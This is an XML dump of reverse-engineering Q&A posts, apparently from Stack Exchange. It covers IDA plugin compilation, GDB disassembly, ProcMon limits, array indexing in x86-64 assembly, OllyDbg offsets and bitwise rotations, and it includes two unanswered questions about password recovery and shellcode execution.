  <row Id="18751" PostTypeId="2" ParentId="18747" CreationDate="2018-07-10T20:33:49.390" Score="1" Body="&lt;p&gt;You need to compile the plugin using the IDA SDK, which should result in a binary which you can then copy to the plugins directory.     Possibly the original project on sourceforge provided precompiled binaries but they don’t seem to be present on the GitHub mirror.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-10T20:33:49.390" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18752" PostTypeId="2" ParentId="18734" CreationDate="2018-07-10T20:43:46.207" Score="1" Body="&lt;p&gt;Since there is no source code or documentation for ODA we can’t tell for sure why it interprets com files as data. My guess would be that it happens because COM files have no defined structure or headers with magic values unlike other executable formats such as ELF, PE, or DOS MZ EXE, so it falls back to raw data bytes display. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-10T20:43:46.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18753" PostTypeId="2" ParentId="18750" CreationDate="2018-07-10T21:02:57.063" Score="4" Body="&lt;p&gt;There are several possibilities. At least it doesn't look like junk, so probably the disassembler engine built into GDB is right about the opcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GDB is somewhat limited when it comes to showing those details that count when reverse engineering a bigger target. This &lt;em&gt;could&lt;/em&gt; actually be dead code, since the names indicate that this is C++ code. Hence there's always a chance that certain virtual functions are never referenced and yet remain in the binary. Essentially there are corner cases that would lead to dead code. But it's hard to tell from this small window into the target that you provide and without more knowledge about the target in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I would start by &lt;a href=&quot;https://demangler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;demangling the names&lt;/a&gt;, since you seem to have debug symbols for the application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CRRegistratorImp::Register(bool, void*)&#xA;CallRegGuiCallback(CRRegistrator*, void*, ERegGUIAction)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As per &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#List_of_x86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;this list&lt;/a&gt; you can see that the Linux ABI (System V AMD64 ABI) makes use of the following registers (in order) on x86-64: RDI, RSI, RDX, RCX, R8, R9, XMM0–7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this knowledge I'd deduce that these could be two very small wrapper functions to do a similar job:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; first function&#xA;xor    edx,edx&#xA;mov    rsi,r12&#xA;mov    rdi,rbp&#xA;call   0x7ffff7596518 &amp;lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&amp;gt;&#xA;jmp    0x7ffff76f7e41 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+577&amp;gt;&#xA;; second function below&#xA;mov    edx,0x4&#xA;mov    rsi,r12&#xA;mov    rdi,rbp&#xA;call   0x7ffff7596518 &amp;lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Roughly (respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CallRegGuiCallback($RDI, $RSI, 0);&#xA;CallRegGuiCallback($RDI, $RSI, 0x4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without a proper disassembler you won't be able to tell if that code is dead (== unreferenced). GDB is just too crude a tool for this job. And even with a proper disassembler you will not be a 100% sure that it is dead code even though the disassembler &quot;reasoned&quot; it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, give &lt;a href=&quot;https://www.radare.org/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; (free of charge, open source), Hopper (commercial, but affordable) or IDA Pro (commercial, but relatively expensive, yet very very powerful) a try. These should give you a considerably better idea of what parts of the code are referenced by other parts of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it dead code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible, but there's no way to tell for certain (i.e. to rule out false negatives!).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to jump directly to this specific address (+616) from other procedure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly, a &lt;code&gt;jmp&lt;/code&gt; may actually even be sufficient, semantically, because these small functions seem to pass the parameters to the &lt;code&gt;call&lt;/code&gt; themselves.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there another way to get to this address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, from the top of my head I could come up with about half a dozen or so, and there are probably more sneaky ones. However, that (sub-)question is somewhat open-ended. Anyway, you could &lt;code&gt;jmp&lt;/code&gt; or use any kind of conditional jump. You could &lt;code&gt;call&lt;/code&gt; or you could load the address into a register and do an indirect &lt;code&gt;call&lt;/code&gt; or you could obfuscate the address, load it into a register and then do whatever kind of bit-juggling and arithmetic and an indirect call, or you could have a vtable that would end up calling this particular chunk of code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A bigger chunk of disassembly might help in this case.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-07-10T21:02:57.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18754" PostTypeId="2" ParentId="18746" CreationDate="2018-07-11T06:03:25.933" Score="1" Body="&lt;p&gt;Most byte combinations make up valid opcodes. Its just a questions on how to interpret these bytes. You can use the hex view to check the bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always use a hexeditor to modify data and code. If you want to 'add' the string, you may need to inflate the file and fix segment/section offsets of the file format you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly related question:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/23202472/hexadecimal-editing-with-and-without-ollydbg-weird-issue&quot;&gt;Hexadecimal editing with and without ollydbg weird issue&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2018-07-11T06:03:25.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18756" PostTypeId="2" ParentId="18683" CreationDate="2018-07-11T10:01:37.190" Score="1" Body="&lt;p&gt;The second way to solve the problem with getting close message is create &lt;code&gt;term(self)&lt;/code&gt; method in the UIHook class but not in plugin class.&#xA;The benefit of this way that is it usable with ida pro scripts not just plugins.&#xA;Example:&#xA;&lt;a href=&quot;https://github.com/EiNSTeiN-/idapython/blob/master/examples/ex_uihook.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/EiNSTeiN-/idapython/blob/master/examples/ex_uihook.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24890" LastActivityDate="2018-07-11T10:01:37.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18757" PostTypeId="1" CreationDate="2018-07-11T11:24:36.220" Score="2" ViewCount="760" Body="&lt;p&gt;I running &lt;code&gt;procmon&lt;/code&gt; to monitor my process,  and see that my process uses &lt;code&gt;ReadFile&lt;/code&gt; API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I see which data the process received when it uses &lt;code&gt;ReadFile&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="24892" LastEditorUserId="245" LastEditDate="2018-07-13T10:21:53.220" LastActivityDate="2018-07-13T10:21:53.220" Title="How to see ReadFile results with ProcMon" Tags="|executable|winapi|api|hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18758" PostTypeId="2" ParentId="18757" CreationDate="2018-07-11T11:35:25.143" Score="3" Body="&lt;p&gt;TLDR; you can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ProcMon does not record the &lt;strong&gt;data&lt;/strong&gt; which has been read, it only records the API call arguments and return value (such as success or error code). If you want to see the data as well, a debugger or another tool like &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; may be more suitable.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-11T11:35:25.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18760" PostTypeId="1" CreationDate="2018-07-11T15:29:27.067" Score="-3" ViewCount="1783" Body="&lt;p&gt;Can anyone give me an example to understand how array indexing is working in assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char s[1000]; &#xA;&#xA;for (int = 0; i &amp;lt; 5; i++)&#xA;{&#xA;  s[i]  = i;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, in x86 assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add eax,edx&#xA;movzx eax, byte ptr [eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24603" LastEditorUserId="53" LastEditDate="2018-07-11T16:53:28.350" LastActivityDate="2018-07-11T18:48:15.717" Title="How does array indexing works at the assembly level?" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18761" PostTypeId="2" ParentId="18760" CreationDate="2018-07-11T16:52:40.683" Score="7" Body="&lt;p&gt;First of all, here is a small example written in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;#define MAX_ROW 5&#xA;#define MAX_COLUMN 10&#xA;&#xA;int main (void)&#xA;{&#xA;  int array[MAX_ROW][MAX_COLUMN];&#xA;&#xA;  for (int row = 0; row &amp;lt; MAX_ROW; ++row)&#xA;    for (int column = 0; column &amp;lt; MAX_COLUMN; ++column)&#xA;      array[row][column] = ((row - 1) * (column + 1)) &amp;amp; ~row ;&#xA;&#xA;  for (int i = 0; i &amp;lt; MAX_ROW; ++i)&#xA;    fprintf (stdout, &quot;array[%1$d][%1$d] = %2$d\n&quot;, i, array[i][i]);&#xA;&#xA;  return EXIT_SUCCESS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; gcc -Wall -Wextra -std=c11 -Os -o sample sample.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting (amd64) assembly is as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000001050 &amp;lt;main&amp;gt;:&#xA;    1050:       41 54                   push   %r12&#xA;    1052:       55                      push   %rbp&#xA;    1053:       83 c8 ff                or     $0xffffffff,%eax&#xA;    1056:       53                      push   %rbx&#xA;    1057:       41 b8 fe ff ff ff       mov    $0xfffffffe,%r8d&#xA;    105d:       48 81 ec d0 00 00 00    sub    $0xd0,%rsp&#xA;    1064:       48 8d 4c 24 08          lea    0x8(%rsp),%rcx&#xA;    1069:       49 89 cc                mov    %rcx,%r12&#xA;    106c:       44 89 c7                mov    %r8d,%edi&#xA;    106f:       31 d2                   xor    %edx,%edx&#xA;    1071:       29 c7                   sub    %eax,%edi&#xA;    1073:       89 fe                   mov    %edi,%esi&#xA;    1075:       41 89 f1                mov    %esi,%r9d&#xA;    1078:       01 fe                   add    %edi,%esi&#xA;    107a:       41 21 c1                and    %eax,%r9d&#xA;    107d:       44 89 0c 91             mov    %r9d,(%rcx,%rdx,4)&#xA;    1081:       48 ff c2                inc    %rdx&#xA;    1084:       48 83 fa 0a             cmp    $0xa,%rdx&#xA;    1088:       75 eb                   jne    1075 &amp;lt;main+0x25&amp;gt;&#xA;    108a:       ff c8                   dec    %eax&#xA;    108c:       48 83 c1 28             add    $0x28,%rcx&#xA;    1090:       83 f8 fa                cmp    $0xfffffffa,%eax&#xA;    1093:       75 d7                   jne    106c &amp;lt;main+0x1c&amp;gt;&#xA;    1095:       48 8d 2d 68 0f 00 00    lea    0xf68(%rip),%rbp&#xA;    109c:       31 db                   xor    %ebx,%ebx&#xA;    109e:       48 6b c3 2c             imul   $0x2c,%rbx,%rax&#xA;    10a2:       48 8b 3d 87 2f 00 00    mov    0x2f87(%rip),%rdi&#xA;    10a9:       89 da                   mov    %ebx,%edx&#xA;    10ab:       48 89 ee                mov    %rbp,%rsi&#xA;    10ae:       48 ff c3                inc    %rbx&#xA;    10b1:       41 8b 0c 04             mov    (%r12,%rax,1),%ecx&#xA;    10b5:       31 c0                   xor    %eax,%eax&#xA;    10b7:       e8 74 ff ff ff          callq  1030 &amp;lt;fprintf@plt&amp;gt;&#xA;    10bc:       48 83 fb 05             cmp    $0x5,%rbx&#xA;    10c0:       75 dc                   jne    109e &amp;lt;main+0x4e&amp;gt;&#xA;    10c2:       48 81 c4 d0 00 00 00    add    $0xd0,%rsp&#xA;    10c9:       31 c0                   xor    %eax,%eax&#xA;    10cb:       5b                      pop    %rbx&#xA;    10cc:       5d                      pop    %rbp&#xA;    10cd:       41 5c                   pop    %r12&#xA;    10cf:       c3                      retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we take the time to look precisely at the whole assembly code, we can see that the interesting part is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1064:       48 8d 4c 24 08          lea    0x8(%rsp),%rcx&#xA;1069:       49 89 cc                mov    %rcx,%r12&#xA;106c:       44 89 c7                mov    %r8d,%edi &amp;lt;-----------------\&#xA;106f:       31 d2                   xor    %edx,%edx                   |&#xA;1071:       29 c7                   sub    %eax,%edi                   |&#xA;1073:       89 fe                   mov    %edi,%esi                   |&#xA;1075:       41 89 f1                mov    %esi,%r9d &amp;lt;-----------\     |&#xA;1078:       01 fe                   add    %edi,%esi             |     |&#xA;107a:       41 21 c1                and    %eax,%r9d             |     |&#xA;107d:       44 89 0c 91             mov    %r9d,(%rcx,%rdx,4)    |     |&#xA;1081:       48 ff c2                inc    %rdx                  |     |&#xA;1084:       48 83 fa 0a             cmp    $0xa,%rdx             |     |&#xA;1088:       75 eb                   jne    1075 &amp;lt;main+0x25&amp;gt;------/     |&#xA;108a:       ff c8                   dec    %eax                        |&#xA;108c:       48 83 c1 28             add    $0x28,%rcx                  |&#xA;1090:       83 f8 fa                cmp    $0xfffffffa,%eax            |&#xA;1093:       75 d7                   jne    106c &amp;lt;main+0x1c&amp;gt; -----------/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It depict the double loop that initialize the example matrix where &lt;code&gt;rdx&lt;/code&gt; is the &lt;code&gt;column&lt;/code&gt; variable (it is compared to &lt;code&gt;0xa&lt;/code&gt; which is 10 in decimal) and &lt;code&gt;eax&lt;/code&gt; is the &lt;code&gt;row&lt;/code&gt; variable (it is compared to &lt;code&gt;0xfffffffa&lt;/code&gt; which is -6). For some reasons that we will see later, one index is increased and the other one is decreased, but both start from zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the access to the array is located here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;107d:       44 89 0c 91             mov    %r9d,(%rcx,%rdx,4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would be translated into &lt;code&gt;mov [rcx + 4*rdx], r9d&lt;/code&gt; in Intel format. Basically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt; is the base address of the current row.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; is the column index within the same row vector.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that when we move to the next row, &lt;code&gt;rcx&lt;/code&gt; is updated like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;108c:       48 83 c1 28             add    $0x28,%rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, it moves from the current row to the next one knowing that the row contains 10 items and each item is an &lt;code&gt;int&lt;/code&gt; (4 bytes). So, 40 bytes in total which is 0x28 in hexadecimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, the very first initialization of &lt;code&gt;rcx&lt;/code&gt; is given by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1064:       48 8d 4c 24 08          lea    0x8(%rsp),%rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It clearly load the address of the &lt;code&gt;array&lt;/code&gt; which is somewhere on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting all together now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we have the &lt;code&gt;array&lt;/code&gt; on the stack at &lt;code&gt;rsp+0x8&lt;/code&gt; which is a contiguous memory area of size:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5 * 10 * 4 bytes (`rows * columns * sizeof(int)`) = 200 bytes = 0xc8 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, it is mapped as a sequence of rows of 40 bytes each. Each row gather 10 columns with cells of 4 bytes which can be depicted as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;---------------------------------------------------------------------------------&#xA; ... | array[0][0] | array[0][1] | array[0][2] | array[0][3] | array[0][4] | ...&#xA;---------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you can find more complex mapping when dealing with multi-dimensional arrays in C, this one is quite simple. Just for completude remember that in total generality the mapping of a multi-dimensional array in C looks usually like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u3nfL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u3nfL.png&quot; alt=&quot;Matrix memory mapping in C&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, the structure of the assembly code will follow these constraints (slightly more complex but not so much once you understood the previous simple example).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-07-11T18:48:15.717" LastActivityDate="2018-07-11T18:48:15.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18762" PostTypeId="1" CreationDate="2018-07-11T17:48:21.850" Score="1" ViewCount="152" Body="&lt;p&gt;I have a program which uses ODBC to access an accdb database. I can open it in access but it asks for a password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wh0eG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wh0eG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;The application accesses it through a DSN string. I have found the string using ODBC Data Source Administrator. However, I cant find the password! (even in the registry)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to record the incoming connections to ODBC and snoop the password from the connection attempt? I have tried tracing, but I cant see it in the log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also would the program access the db using the connection string or does it decrypt the database first of all. I have tried using IDA to pull out the strings/ trace but cant see anything meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a password cache location that I'm missing.&lt;/p&gt;&#xA;" OwnerUserId="23895" LastActivityDate="2018-07-11T17:48:21.850" Title="ODBC Finding the password an application uses to access the database" Tags="|disassembly|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18763" PostTypeId="2" ParentId="18746" CreationDate="2018-07-11T18:03:28.227" Score="1" Body="&lt;p&gt;ollydbg v2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ctrl+E  -&gt; Ascii -&gt; &quot;Hello&quot; -&gt; Enter  and -&gt; Ctrl+A    (to make ollydbg understand its string not code )&lt;br&gt;&#xA;:(colon) Label for later Reference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use CTRL+G and type the label name for &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screen shot of a partially matched label that follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M9X8C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M9X8C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address                                Hex dump          Command              Comments&#xA;00D13FC0 This Is My Newly Added String 48 65 6C 6C 6F 00 ASCII &quot;Hello&quot;,0;ASCII &quot;Hello&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ollydbg 1 &#xA;RightClick -&gt; Analysis -&gt; During Next Ananlysis Treat Selection As Ascii String &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-07-11T18:03:28.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18765" PostTypeId="1" AcceptedAnswerId="18766" CreationDate="2018-07-11T21:36:13.670" Score="2" ViewCount="90" Body="&lt;p&gt;Im trying to debug a binary - and I wanted to know if someone can explain what does it mean when there's a value 'added' on to a function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &lt;code&gt;CRYPTSP.CryptDuplicateHash+0C&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the '0C' mean in this case?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="25001" LastEditorUserId="2147" LastEditDate="2018-07-12T10:49:36.513" LastActivityDate="2018-07-12T10:53:39.233" Title="What does this mean in OllyDbg: function+hex value" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18766" PostTypeId="2" ParentId="18765" CreationDate="2018-07-11T23:01:45.877" Score="3" Body="&lt;p&gt;This indicates the offset within the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to reference an instruction in an executable binary, the most basic and straight-forward method would be using it's full address. However especially with ASLR enabled, different versions, RVA vs file offsets and other nuances it may be more useful to reference an instruction relative to the function start address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of &lt;code&gt;CRYPTSP.CryptDuplicateHash+0C&lt;/code&gt;, we can easily see the address is at offset &lt;code&gt;0x0C&lt;/code&gt; within the &lt;code&gt;CryptDuplicateHash&lt;/code&gt; function inside a module called &lt;code&gt;CRYPTSP&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-12T10:53:39.233" LastActivityDate="2018-07-12T10:53:39.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18768" PostTypeId="1" CreationDate="2018-07-12T00:38:42.683" Score="1" ViewCount="295" Body="&lt;p&gt;I'm trying to exploit a test server executable that holds some user-controlled data in memory. I can gain control of EIP and go there, however I get an access violation in OllyDBG because it's not executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get around this without directly editing the executable?&lt;/p&gt;&#xA;" OwnerUserId="24980" LastActivityDate="2018-08-14T11:01:47.240" Title="My Shellcode is in a non-executable part of a Windows executable. Is there still a way to execute it?" Tags="|ollydbg|exploit|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18770" PostTypeId="2" ParentId="15579" CreationDate="2018-07-12T09:11:57.217" Score="3" Body="&lt;p&gt;Data lossy shifts: &lt;code&gt;shl eax,n : eax = ( eax*(2^n) ) %(2^32)&lt;/code&gt; and &lt;code&gt;shr eax,n : eax = floor( eax/(2^n) )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally found in fast unchecked or logic bound integer arithmetic optimizations on a single data value e.g. address offsets for repeated size records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data lossless rotate: &lt;code&gt;rol eax,n : eax = shl eax,n or shr eax,32-n&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally used in cryptography, checked arithmetic optimizations or arithmetic on a string of data values (search long multiplication) or shifting graphical bit masks e.g. &lt;code&gt;rol eax,8&lt;/code&gt; gives: &lt;code&gt;and eax,0xFFFFFF00&lt;/code&gt; &lt;code&gt;eax *2^8&lt;/code&gt; for this data value and &lt;code&gt;and eax,0x000000FF&lt;/code&gt; carry or overflow to next more significant data value.&lt;/p&gt;&#xA;" OwnerUserId="25004" LastEditorUserId="18014" LastEditDate="2018-07-12T09:25:45.700" LastActivityDate="2018-07-12T09:25:45.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18772" PostTypeId="2" ParentId="15579" CreationDate="2018-07-12T10:40:12.880" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I know that &lt;code&gt;shl&lt;/code&gt; instruction is like &lt;code&gt;mul&lt;/code&gt; operation, and &lt;code&gt;shr&lt;/code&gt; is like &lt;code&gt;div&lt;/code&gt; operation, and it's used for optimization.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is somewhat of an incorrect statement. Those operations are &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitwise_operation&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitwise operations&lt;/a&gt;. These operations are the basis of &lt;a href=&quot;https://en.wikipedia.org/wiki/Boolean_algebra&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean Algebra&lt;/a&gt; and  they're used whenever bit level manipulation is required. Applications may include bitfield/flag manipulation, working with hardware devices, network protocols, decoding/encoding, compression and many other uses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, logical shifts have the interesting property of being efficient ways to perform multiplication or division of unsigned integers by powers of two. This is a side-effect and not the purpose of those operations. This property is also true for &lt;em&gt;arithmetic&lt;/em&gt; shift operations and &lt;em&gt;signed&lt;/em&gt; integers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, &lt;a href=&quot;https://en.wikipedia.org/wiki/Circular_shift&quot; rel=&quot;nofollow noreferrer&quot;&gt;rotation bitwise operations&lt;/a&gt; have their own applications such as in cryptographic models (encryption, hashing), for example.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-12T10:40:12.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18773" PostTypeId="2" ParentId="15579" CreationDate="2018-07-12T10:53:48.697" Score="4" Body="&lt;p&gt;Rotations of bitfield or '&lt;em&gt;circular shifts&lt;/em&gt;' are very often used in cryptography as an non-linear operator to achieve what they call '&lt;em&gt;confusion&lt;/em&gt;' (trying to break all the statistical links between the clear-text and the cipher-text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The classical graphical representation of the rotation-left is quite self explanatory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NYm8n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NYm8n.png&quot; alt=&quot;Rotate-left&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, it also has a meaning in pure arithmetic. It can be seen as a multiplication and an addition like that (&lt;code&gt;n&lt;/code&gt; is the size of the bitfield):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rotate-left (a, 0) = a&#xA;rotate-left (a, 1) = 2^(1).a + 2^(-n).a&#xA;rotate-left (a, 2) = 2^(2).a + 2^(1-n).a&#xA;...&#xA;rotate-left (a, n-1) = 2^(n-1).a + 2^(-1).a&#xA;rotate-left (a, n) = a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In C language you might interpret this with only bitwise operators as follow (see the &lt;a href=&quot;https://en.wikipedia.org/wiki/Circular_shift&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia article about circular shift&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint32_t rotl32 (uint32_t value, unsigned int count) &#xA;{&#xA;  return ((value &amp;lt;&amp;lt; count) | (value &amp;gt;&amp;gt; (32 - count)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, the rotations are often neglected in most of the programming languages. You cannot find it easily in C for example. But, this is mainly because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Only cryptography is using it (and few other very low-level domains).&lt;/li&gt;&#xA;&lt;li&gt;It can be implemented as a function with the provided operators (it does not increase the expressive power of the language to add it to the language).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Yet, all the assembler languages propose rotations operators because they can be source of a lot of optimizations at low-level.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-07-12T14:14:39.037" LastActivityDate="2018-07-12T14:14:39.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
